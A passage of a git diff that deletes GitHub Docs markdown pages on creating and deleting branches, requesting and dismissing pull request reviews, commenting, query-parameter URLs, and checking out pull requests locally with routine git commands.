fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Create & delete branches ---- - -## Creating a branch - -You can create a branch in different ways on {% data variables.product.github %}. - -> [!NOTE] -> You can only create a branch in a repository to which you have push access. - -### Creating a branch via the branches overview - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Click **New branch**. - - ![Screenshot of the "Branches" page for a repository. A green button, labeled "New branch", is highlighted with an orange outline.](/assets/images/help/branches/new-branch-button.png) -1. Under "Branch name", type a name for the branch. -1. Under "Branch source", choose a source for your branch. - * If your repository is a fork, select the repository dropdown menu and click your fork or the upstream repository. - * Select the branch dropdown menu and click a branch. -1. Click **Create branch**. - -### Creating a branch using the branch dropdown - -{% data reusables.repositories.navigate-to-repo %} -{% ifversion code-view-ui %} -1. Select the {% octicon "git-branch" aria-hidden="true" %} branch dropdown menu, in the file tree view or at the top of the integrated file editor. - - ![Screenshot of the file tree view for a repository. A dropdown menu for branches is outlined in dark orange.](/assets/images/help/branches/file-tree-view-branch-dropdown.png) -{% else %} -1. Select the branch selector dropdown menu. - - ![Screenshot of the repository page. A dropdown menu, labeled with a branch icon and "main", is highlighted with an orange outline.](/assets/images/help/branches/branch-selection-dropdown-global-nav-update.png) - -{% endif %} -1. Optionally, if you want to create the new branch from a branch other than the default branch of the repository, click another branch, then select the branch dropdown menu again. -1. In the "Find or create a branch..." text field, type a unique name for your new branch, then click **Create branch**. - - ![Screenshot of the branch selector dropdown menu. "Create branch: new-branch" is highlighted with an orange outline.](/assets/images/help/branches/create-branch-text.png) - -### Creating a branch for an issue - -You can create a branch to work on an issue directly from the issue page and get started right away. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-a-branch-for-an-issue). - -## Deleting a branch - -{% data reusables.pull_requests.automatically-delete-branches %} - -> [!NOTE] -> If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch). - -If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) or [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. Next to the branch that you want to delete, click {% octicon "trash" aria-label="The trash icon" %} . - - ![Screenshot of a branch in the branch list. A trash icon is highlighted with an orange outline.](/assets/images/help/branches/branches-delete.png) -1. If the branch is associated with at least one open pull request, deleting the branch will close the pull requests. Read the warning, then click **Delete**. - -{% data reusables.pull_requests.retargeted-on-branch-deletion %} -For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#working-with-branches). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository) -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md deleted file mode 100644 index 162bd00d3f76..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Proposing changes to your work with pull requests -intro: 'After you add changes to a topic branch or fork, you can open a pull request to ask your collaborators or the repository administrator to review your changes before merging them into the project.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests - - /articles/proposing-changes-to-your-work-with-pull-requests - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -children: - - /about-branches - - /creating-and-deleting-branches-within-your-repository - - /about-pull-requests - - /about-comparing-branches-in-pull-requests - - /creating-a-pull-request - - /creating-a-pull-request-from-a-fork - - /using-query-parameters-to-create-a-pull-request - - /changing-the-stage-of-a-pull-request - - /requesting-a-pull-request-review - - /keeping-your-pull-request-in-sync-with-the-base-branch - - /changing-the-base-branch-of-a-pull-request - - /committing-changes-to-a-pull-request-branch-created-from-a-fork -shortTitle: Propose changes ---- - diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md deleted file mode 100644 index cbca3c951443..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Keeping your pull request in sync with the base branch -intro: 'After you open a pull request, you can update the head branch, which contains your changes, with any changes that have been made in the base branch.' -permissions: People with write permissions to the repository to which the head branch of the pull request belongs can update the head branch with changes that have been made in the base branch. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Update the head branch ---- - -## About keeping your pull request in sync - -Before merging your pull requests, other changes may get merged into the base branch causing your pull request's head branch to be out of sync. Updating your pull request with the latest changes from the base branch can help catch problems prior to merging. - -You can update a pull request's head branch from the command line or the pull request page. The **Update branch** button is displayed when all of these are true: - -* There are no merge conflicts between the pull request branch and the base branch. -* The pull request branch is not up to date with the base branch. -* The base branch requires branches to be up to date before merging or the setting to always suggest updating branches is enabled. - -For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches) and [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches). - -If there are changes to the base branch that cause merge conflicts in your pull request branch, you will not be able to update the branch until all conflicts are resolved. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts). - -From the pull request page you can update your pull request's branch using a traditional merge or by rebasing. A traditional merge results in a merge commit that merges the base branch into the head branch of the pull request. Rebasing applies the changes from _your_ branch onto the latest version of the base branch. The result is a branch with a linear history, since no merge commit is created. - -## Updating your pull request branch - -{% data reusables.repositories.sidebar-pr %} -1. In the "Pull requests" list, click the pull request you'd like to update. -1. In the merge section near the bottom of the page, you can: - * Click **Update branch** to perform a traditional merge. - - ![Screenshot of the merge section for a pull request.](/assets/images/help/pull_requests/pull-request-update-branch-with-dropdown.png) - - * Click the update branch drop down menu, click **Update with rebase**, and then click **Rebase branch** to update by rebasing on the base branch. - - ![Screenshot of the merge section of a pull request. The dropdown menu is expanded, showing "Update with merge commit" and "Update with rebase" options.](/assets/images/help/pull_requests/pull-request-update-branch-rebase-option.png) - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md deleted file mode 100644 index 93566571d866..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Requesting a pull request review -intro: 'After you create a pull request, you can ask a specific person to review the changes you''ve proposed. If you''re an organization member, you can also request a specific team to review your changes.' -product: '{% data reusables.gated-features.multiple-pr-reviewers %}' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review - - /articles/requesting-a-pull-request-review - - /github/collaborating-with-issues-and-pull-requests/requesting-a-pull-request-review - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Request a PR review ---- - -Repositories belong to a personal account (a single individual owner) or an organization account (a shared account with numerous collaborators or maintainers). For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). Owners and collaborators on a repository owned by a personal account can assign pull request reviews. Organization members with triage permissions can also assign a reviewer for a pull request. - -To assign a reviewer to a pull request, you will need write access to the repository. For more information about repository access, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). If you have write access, you can assign anyone who has read access to the repository as a reviewer. - -Organization members with write access can also assign a pull request review to any person or team with read access to a repository. The requested reviewer or team will receive a notification that you asked them to review the pull request. If you request a review from a team and code review assignment is enabled, specific members will be requested and the team will be removed as a reviewer. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team). - -> [!NOTE] -> Pull request authors can't request reviews unless they are either a repository owner or collaborator with write access to the repository. - -{% ifversion copilot-hadron %} - -## Requesting reviews from collaborators and organization members - -{% endif %} - -You can request a review from either a suggested or specific person. Suggested reviewers are based on [git blame data](/repositories/working-with-files/using-files/viewing-a-file). If you request a review, other people with read access to the repository can still review your pull request. Once someone has reviewed your pull request and you've made the necessary changes, you can re-request review from the same reviewer. If the requested reviewer does not submit a review, and the pull request meets the repository's [mergeability requirements](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests), you can still merge the pull request. - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request that you'd like to ask a specific person or a team to review. -1. To request a review from a suggested person under **Reviewers**, next to their username, click **Request**. - - ![Screenshot of the "Reviewers" section of a pull request's sidebar. To the right of @octocat, a "Request" link is outlined in dark orange.](/assets/images/help/pull_requests/request-suggested-review.png) - -1. Optionally, to request a review from someone other than a suggested person, click **Reviewers**. - - If you know the name of the person or team you'd like a review from, type the username of the person or the name of the team you're asking to review your changes. Click their team name or username to request a review. - -1. After your pull request is reviewed and you've made the necessary changes, you can ask a reviewer to re-review your pull request. Navigate to **Reviewers** in the right sidebar and click {% octicon "sync" aria-label="Re-request review" %} next to the reviewer's name whose review you'd like. - - ![Screenshot of the "Reviewers" section of a pull request's sidebar. To the right of @octocat, a sync icon is outlined in dark orange.](/assets/images/help/pull_requests/request-re-review.png) - -{% ifversion copilot-hadron %} - -## Requesting a review from {% data variables.product.prodname_copilot %} - ->[!NOTE] ->{% data variables.product.prodname_copilot_workspace %} is currently in {% data variables.release-phases.public_preview %}. For information about joining the {% data variables.release-phases.public_preview %}, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -You can also request that {% data variables.product.prodname_copilot_short %} reviews your code and provides feedback and suggested changes on your work. See [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) diff --git a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md deleted file mode 100644 index 562257615443..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Using query parameters to create a pull request -intro: Use query parameters to create custom URLs to open pull requests with pre-populated fields. -redirect_from: - - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests ---- - -You can use query parameters to open pull requests. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or a pull request template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair. - -> [!TIP] -> You can also create pull request templates that open with default labels, assignees, and a pull request title. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). - -You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to a pull request to use the `labels` query parameter. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page. - -Query parameter | Example ---- | --- -`quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` creates a pull request that compares the base branch `main` and head branch `my-branch`. The `quick_pull=1` query brings you directly to the "Open a pull request" page. -`title` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix` creates a pull request with the label "bug" and title "Bug fix." -`body` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` creates a pull request with the title "Bug fix" and the comment "Describe the fix" in the pull request body. -`labels` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` creates a pull request with the labels "help wanted" and "bug". -`milestone` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` creates a pull request with the milestone "testing milestones." -`assignees` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` creates a pull request and assigns it to @octocat. -`projects` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` creates a pull request with the title "Bug fix" and adds it to the organization's project 1. -`template` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` creates a pull request with a template in the pull request body. The `template` query parameter works with templates stored in a `PULL_REQUEST_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see [AUTOTITLE](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md deleted file mode 100644 index 166bd4b84d74..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: About pull request reviews -intro: 'Reviews allow collaborators to comment on the changes proposed in pull requests, approve the changes, or request further changes before the pull request is merged. Repository administrators can require that all pull requests are approved before being merged.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews - - /articles/about-pull-request-reviews - - /github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: About PR reviews ---- -## About pull request reviews - -After a pull request is opened, anyone with _read_ access can review and comment on the changes it proposes. You can also suggest specific changes to lines of code, which the author can apply directly from the pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). - -{% ifversion pull-request-approval-limit %}{% data reusables.pull_requests.code-review-limits %}{% endif %} - -Repository owners and collaborators can request a pull request review from a specific person. Organization members can also request a pull request review from a team with read access to the repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). You can specify a subset of team members to be automatically assigned in the place of the whole team. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team). - -Reviews allow for discussion of proposed changes and help ensure that the changes meet the repository's contributing guidelines and other quality standards. You can define which individuals or teams own certain types or areas of code in a CODEOWNERS file. When a pull request modifies code that has a defined owner, that individual or team will automatically be requested as a reviewer. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -For an introduction to requesting and providing pull request reviews, see the [Review pull requests](https://github.com/skills/review-pull-requests) {% data variables.product.prodname_learning %} course. - -{% ifversion fpt or ghec %}You can schedule reminders for pull requests that need to be reviewed. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team).{% endif %} - -A review has three possible statuses: -* **Comment:** Submit general feedback without explicitly approving the changes or requesting additional changes. -* **Approve:** Submit feedback and approve merging the changes proposed in the pull request. -* **Request changes:** Submit feedback that must be addressed before the pull request can be merged. - -{% data reusables.repositories.request-changes-tips %} - -You can view all of the reviews a pull request has received in the Conversation timeline, and you can see reviews by repository owners and collaborators in the pull request's merge box. - -![Screenshot of the merge box for a pull request. A review by Octocat with requested changes is listed.](/assets/images/help/pull_requests/merge_box/pr-reviews-in-merge-box.png) - -{% data reusables.search.requested_reviews_search_tip %} - -{% data reusables.pull_requests.resolving-conversations %} - -## Re-requesting a review - -{% data reusables.pull_requests.re-request-review %} - -## Required reviews - -{% data reusables.pull_requests.required-reviews-for-prs-summary %} For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging). - -> [!TIP] -> If necessary, people with _admin_ or _write_ access to a repository can dismiss a pull request review. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review) -* [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md deleted file mode 100644 index 5968b5cb35f9..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Approving a pull request with required reviews -intro: 'If your repository requires reviews, pull requests must have a specific number of approving reviews from people with _write_ or _admin_ permissions in the repository before they can be merged.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews - - /articles/approving-a-pull-request-with-required-reviews - - /github/collaborating-with-issues-and-pull-requests/approving-a-pull-request-with-required-reviews - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Required reviews ---- -For more information about required reviews, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches#require-pull-request-reviews-before-merging). - -You can comment on a pull request, approve the changes, or request improvements before approving. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). - -{% data reusables.search.requested_reviews_search %} - -> [!TIP] -> If a pull request you approved has changed significantly, you can dismiss your review. The pull request will need a new review before it can be merged. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review). - -{% data reusables.repositories.sidebar-pr %} -{% data reusables.repositories.choose-pr-review %} -{% data reusables.repositories.changed-files %} -1. Review the changes in the pull request, and optionally, comment on specific lines or files. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request#starting-a-review). -{% data reusables.repositories.review-changes %} -{% data reusables.repositories.review-summary-comment %} -1. Select **Approve** to approve merging the changes proposed in the pull request. -{% data reusables.repositories.submit-review %} - -{% data reusables.repositories.request-changes-tips %} - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request) diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md deleted file mode 100644 index 5367c97d5e97..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Checking out pull requests locally -intro: 'When someone sends you a pull request from a fork or branch of your repository, you can merge it locally to resolve a merge conflict or to test and verify the changes before merging on {% data variables.product.github %}.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally - - /articles/checking-out-pull-requests-locally - - /github/collaborating-with-issues-and-pull-requests/checking-out-pull-requests-locally - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Check out a PR locally ---- - -> [!NOTE] -> Pull request authors can give upstream repository maintainers, or those with push access to the upstream repository, permission to make commits to their pull request's compare branch in a user-owned fork. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork). - -## Modifying an active pull request locally - -{% webui %} - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request you'd like to modify.{% ifversion fpt or ghec %} -1. To choose where you'd like to open the pull request, select the **{% octicon "code" aria-hidden="true" %} Code** dropdown and click one of the tabs. - - ![Screenshot of a pull request title. A button with an arrow indicating a dropdown menu, labeled "Code," is outlined in dark orange.](/assets/images/help/pull_requests/open-with-button.png){% else %} - -1. In the merge box, click **command line instructions**. Follow the sequence of steps to bring down the proposed pull request. - - ![Screenshot of the merge box in a pull request. The link to access command line pull request instructions is outlined in dark orange.](/assets/images/help/pull_requests/pull-request-show-command-line-merge.png) - -1. Optionally, to view proposed changes in {% data variables.product.prodname_desktop %}, next to the **Merge pull request** button, click **open this in {% data variables.product.prodname_desktop %}**. - - ![Screenshot of the "merge messages" section on a pull request page. A link, labeled "Open this in GitHub Desktop", is outlined in orange.](/assets/images/help/desktop/open-pr-in-desktop.png){% endif %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To check out a pull request locally, use the `gh pr checkout` subcommand. Replace `PULL-REQUEST` with the number, URL, or head branch of the pull request. - -```shell -gh pr checkout PULL-REQUEST -``` - -{% endcli %} - -## Modifying an inactive pull request locally - -If a pull request’s author is unresponsive to requests or has deleted their fork, the changes proposed in that pull request can still be merged via a new pull request. However, if you want to make changes to a pull request and the author is not responding, you'll need to perform some additional steps to update the pull request. - -Once a pull request is opened, {% data variables.product.github %} stores all of the changes remotely. In other words, commits in a pull request are available in a repository even before the pull request is merged. You can fetch an open pull request and recreate it as your own. - -Anyone can work with a previously opened pull request to continue working on it, test it out, or even open a new pull request with additional changes. However, only collaborators with push access can merge pull requests. - -{% data reusables.repositories.sidebar-issue-pr %} -1. In the "Pull Requests" list, click the pull request you'd like to merge. -1. Find the ID number of the inactive pull request. This is the sequence of digits right after the pull request's title. - - ![Screenshot of the title of a pull request. The pull request's ID number is outlined in dark orange.](/assets/images/help/pull_requests/pull-request-id-number.png) - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Fetch the reference to the pull request based on its ID number, creating a new branch in the process. - - ```shell - git fetch origin pull/ID/head:BRANCH_NAME - ``` - -1. Switch to the new branch that's based on this pull request: - - ```shell - [main] $ git switch BRANCH_NAME - > Switched to a new branch 'BRANCH_NAME' - ``` - -1. At this point, you can do anything you want with this branch. You can run some local tests, or merge other branches into the branch. -1. When you're ready, you can push the new branch up: - - ```shell - [pull-inactive-pull-request] $ git push origin BRANCH_NAME - > Counting objects: 32, done. - > Delta compression using up to 8 threads. - > Compressing objects: 100% (26/26), done. - > Writing objects: 100% (29/29), 74.94 KiB | 0 bytes/s, done. - > Total 29 (delta 8), reused 0 (delta 0) - > To https://{% data variables.product.product_url %}/USERNAME/REPOSITORY.git - > * [new branch] BRANCH_NAME -> BRANCH_NAME - ``` - -1. [Create a new pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request) with your new branch. - -## Error: Failed to push some refs - -The remote `refs/pull/` namespace is _read-only_. If you try to push any commits there, you'll see this error: - -```shell -! [remote rejected] HEAD -> refs/pull/1/head (deny updating a hidden ref) -error: failed to push some refs to 'git@github.local:USERNAME/REPOSITORY.git' -``` - -> [!TIP] -> When you remove or rename a remote reference, your local `refs/pull/origin/` namespace will not be affected by calls to `git-remote`. diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md deleted file mode 100644 index 519e68fc29e8..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Commenting on a pull request -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request - - /articles/adding-commit-comments - - /articles/commenting-on-the-diff-of-a-pull-request - - /articles/commenting-on-differences-between-files - - /articles/commenting-on-a-pull-request - - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request -intro: 'After you open a pull request in a repository, collaborators or team members can comment on the comparison of files between the two specified branches, or leave general comments on the project as a whole.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Comment on a PR ---- -## About pull request comments - -You can comment on a pull request's **Conversation** tab to leave general comments, questions, or props. You can also suggest changes that the author of the pull request can apply directly from your comment. - -You can also comment on specific files or sections of a file in a pull request's **Files changed** tab in the form of individual line or file comments, or as part of a pull request review. Adding line or file comments is a great way to discuss questions about implementation or provide feedback to the author. For more information about pull request reviews, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews). - -For more information on adding line or file comments to a pull request review, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). - -> [!NOTE] -> If you reply to a pull request via email, your comment will be added on the **Conversation** tab and will not be part of a pull request review. - -To reply to an existing line or file comment, you'll need to navigate to the comment on either the **Conversation** tab or **Files changed** tab and add an additional comment below it. - -> [!TIP] -> * Pull request comments support the same [formatting](/get-started/writing-on-github) as regular comments on {% data variables.product.github %}, such as @mentions, emoji, and references. -> * You can add reactions to comments in pull requests in the **Files changed** tab. - -## Adding comments to a pull request - -{% data reusables.repositories.sidebar-pr %} -1. In the list of pull requests, click the pull request where you'd like to leave line comments. -{% data reusables.repositories.changed-files %} -{% data reusables.repositories.start-line-comment %} -{% data reusables.repositories.multiple-lines-comment %} -{% data reusables.repositories.type-line-comment %} -{% data reusables.repositories.suggest-changes %} -{% data reusables.repositories.start-file-comment %} -1. When you're done, click **Add single comment**. - -Anyone watching the pull request or repository will receive a notification of your comment. - -{% data reusables.pull_requests.resolving-conversations %} - -## Further reading - -* [AUTOTITLE](/get-started/writing-on-github) -{% ifversion fpt or ghec %}- [AUTOTITLE](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) -{% endif %} diff --git a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md b/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md deleted file mode 100644 index 71c8012298b4..000000000000 --- a/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Dismissing a pull request review -intro: 'If your repository requires reviews, you can dismiss pull request reviews that are no longer valid or are unable to be approved by the reviewer.' -redirect_from: - - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review - - /articles/dismissing-a-pull-request-review - - /github/collaborating-with-issues-and-pull-requests/dismissing-a-pull-request-review - - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Pull requests -shortTitle: Dismiss a PR review ---- -{% data reusables.pull_requests.dismiss_review %} -This changes the status of the review to a review comment. When you dismiss a review, you must add a comment explaining why you dismissed it. 